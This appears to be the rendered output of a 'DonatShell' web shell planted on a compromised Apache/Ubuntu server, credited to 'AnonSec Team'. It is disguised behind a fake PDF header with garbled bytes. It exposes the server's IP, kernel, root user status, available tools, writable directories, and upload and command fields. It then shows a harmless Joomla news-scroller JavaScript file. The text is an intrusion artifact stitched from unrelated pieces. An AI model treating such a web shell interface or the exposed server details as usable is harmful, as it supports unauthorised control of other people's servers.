%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/11585/cwd/html/old/modules/mod_news_pro_gk4/interface/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/11585/cwd/html/old/modules/mod_news_pro_gk4/interface/scripts/engine.portal.mode.1.js
window.addEvent("load", function(){	
    $$('.nspMainPortalMode1').each(function(module){
		var id = module.getProperty('id');
		var $G = $Gavick[id];
		var current_art = 0;
		var arts = module.getElements('.nspArt');
		var arts_pos = [];
		var auto_anim = module.hasClass('autoanim');
		var anim_speed = $G['animation_speed'];
		var anim_interval = $G['animation_interval'];
		var animation = false;
		var scrollWrap = module.getElement('.nspArts');
		var scroller = new Fx.Scroll(scrollWrap, {duration: anim_speed, wheelStops: false});
		var dimensions = scrollWrap.getSize();
		var startItem = 0;
		var sizeWrap = scrollWrap.getCoordinates();
		// reset
		scroller.set(0,0);
		//
		if(arts.length > 0 &&  scrollWrap.getScrollSize().y >  scrollWrap.getSize().y){
			// find first unvisible news
			var found = false;
			//
			for(var i = 0; i < arts.length && !found; i++) {
				var size = arts[i].getCoordinates();
				if((size.top - sizeWrap.top) + size.height - 10 > dimensions.y) {
					found = i;
				}	
			}
			//
			start_item = found;
		}
		
		arts.each(function(art,i) {
			arts_pos[i] = {
				top: art.getCoordinates().top, 
				height: art.getCoordinates().height
			};
		});
		if(module.getElement('.nspTopInterface .nspPrev')) {
			module.getElement('.nspTopInterface .nspPrev').addEvent('click', function() {
				animation = true;
				if(current_art == 0) {
					current_art = arts.length - 1;
				} else {
					current_art--;
				}
				if(current_art > 0) {
					var to = arts_pos[current_art];
					scroller.start(0, Math.abs(sizeWrap.height - ((to.top - sizeWrap.top) + to.height)));
				} else {
					scroller.start(0,scrollWrap.getScrollSize().y);
				}
			});

			module.getElement('.nspTopInterface .nspNext').addEvent('click', function() {
				animation = true;
				if(current_art == 0) {
					current_art = start_item;
				} else {
					if(current_art < arts.length - 1) {
						current_art++;
					} else {
						current_art = 0;
					}
				}
								
				if(current_art > 0) {
					var to = arts_pos[current_art];
					scroller.start(0, Math.abs(sizeWrap.height - ((to.top - sizeWrap.top) + to.height)));
				} else {
					scroller.start(0,0);
				}
			});
		}
		if(auto_anim){
			(function(){
				if(!animation) module.getElement('.nspTopInterface .nspNext').fireEvent("click");
				else animation = false;
			}).periodical($G['animation_interval'] / 2);
		}
	});
});

Anon7 - 2022
AnonSec Team